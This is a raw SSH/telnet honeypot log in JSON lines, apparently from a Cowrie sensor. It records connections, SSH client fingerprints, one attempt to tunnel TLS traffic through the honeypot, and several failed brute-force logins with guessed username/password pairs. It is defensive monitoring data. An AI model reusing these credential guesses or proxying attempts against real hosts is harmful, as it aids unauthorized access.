{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:47.137701Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3~\\xc4|\\xbc7\\x9e9\\xdb,f\\'Zt>\\xa4c4\\xf6\\xe6\\xe8Q\\x7f%\\xfe\\xe5U_\\xe0\\x1d\\xd0( ~\\xb7a\\xd2\\x07\\xc0\\x91@q\\xf1dQ\\t\\x89\\xae\\xf4\\xed\\xe7\\xf5\\xdd\\xa6)9\\x1b\\xffc\\x9d[~\\x92P\\x9f\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 q\\x17,d\\xf8\\x1bg\\xeb\\xaa\\x81\\xefC\\x07\\xf5\\x82\\x86\\xa4\\xd0\\x10(YR\\x1f\\x97\\xdf^\\x99/\\x05\\x8c\\xd50\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3~\\xc4|\\xbc7\\x9e9\\xdb,f\\'Zt>\\xa4c4\\xf6\\xe6\\xe8Q\\x7f%\\xfe\\xe5U_\\xe0\\x1d\\xd0( ~\\xb7a\\xd2\\x07\\xc0\\x91@q\\xf1dQ\\t\\x89\\xae\\xf4\\xed\\xe7\\xf5\\xdd\\xa6)9\\x1b\\xffc\\x9d[~\\x92P\\x9f\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 q\\x17,d\\xf8\\x1bg\\xeb\\xaa\\x81\\xefC\\x07\\xf5\\x82\\x86\\xa4\\xd0\\x10(YR\\x1f\\x97\\xdf^\\x99/\\x05\\x8c\\xd50\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:47.141025Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shakira","password":"shakira","message":"login attempt [shakira/shakira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:48.775759Z","src_ip":"91.92.40.36","session":"6bfeb44aa5b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44656,"dst_ip":"159.203.135.109","dst_port":22,"session":"52d7bb6992e5","protocol":"ssh","message":"New connection: 91.92.40.36:44656 (159.203.135.109:22) [session: 52d7bb6992e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:50.302710Z"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:51.181102Z","src_ip":"91.92.40.36","session":"6bfeb44aa5b7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:51.413814Z","src_ip":"91.92.40.36","session":"52d7bb6992e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:51.416092Z","src_ip":"91.92.40.36","session":"52d7bb6992e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.501670598983765,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:52.244236Z","src_ip":"128.199.8.54","session":"cd3c2cb88ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.32047724723816,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:53.548622Z","src_ip":"172.81.62.90","session":"759438d97bfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40300,"dst_ip":"10.17.0.5","dst_port":22,"session":"34805a80dab8","protocol":"ssh","message":"New connection: 27.71.230.31:40300 (10.17.0.5:22) [session: 34805a80dab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:55.341007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:55.471183Z","src_ip":"27.71.230.31","session":"34805a80dab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.9","message":"Connection lost after 21.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:55.722284Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:55.921514Z","src_ip":"27.71.230.31","session":"34805a80dab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gustavo","password":"gustavo1234","message":"login attempt [gustavo/gustavo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:57.090632Z","src_ip":"91.92.40.36","session":"52d7bb6992e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrators","message":"login attempt [root/administrators] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:58.284639Z","src_ip":"27.71.230.31","session":"34805a80dab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:58.894688Z","src_ip":"91.92.40.36","session":"52d7bb6992e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24046,"dst_ip":"159.203.135.109","dst_port":22,"session":"899e2e712353","protocol":"ssh","message":"New connection: 91.92.40.36:24046 (159.203.135.109:22) [session: 899e2e712353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:59.697242Z"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:01.830359Z","src_ip":"27.71.230.31","session":"34805a80dab8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:03.082846Z","src_ip":"91.92.40.36","session":"899e2e712353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:03.086346Z","src_ip":"91.92.40.36","session":"899e2e712353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24086,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd40c4e579e5","protocol":"ssh","message":"New connection: 91.92.40.36:24086 (159.203.135.109:22) [session: dd40c4e579e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:05.047251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:06.275652Z","src_ip":"91.92.40.36","session":"dd40c4e579e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:06.279117Z","src_ip":"91.92.40.36","session":"dd40c4e579e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":45864,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcf080921471","protocol":"ssh","message":"New connection: 109.237.96.109:45864 (159.203.135.109:22) [session: dcf080921471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:07.135653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:07.139742Z","src_ip":"109.237.96.109","session":"dcf080921471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:07.225002Z","src_ip":"109.237.96.109","session":"dcf080921471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shanson","message":"login attempt [root/shanson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:07.479332Z","src_ip":"109.237.96.109","session":"dcf080921471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:08.574195Z","src_ip":"109.237.96.109","session":"dcf080921471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22246,"dst_ip":"159.203.135.109","dst_port":22,"session":"0efb3520c61c","protocol":"ssh","message":"New connection: 91.92.40.36:22246 (159.203.135.109:22) [session: 0efb3520c61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:12.398246Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123qwe","message":"login attempt [guest/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:12.483582Z","src_ip":"91.92.40.36","session":"dd40c4e579e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r5","message":"login attempt [ubuntu/1q2w3e4r5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:12.647998Z","src_ip":"91.92.40.36","session":"899e2e712353","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:14.261252Z","src_ip":"91.92.40.36","session":"0efb3520c61c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:14.264913Z","src_ip":"91.92.40.36","session":"0efb3520c61c","protocol":"ssh"}
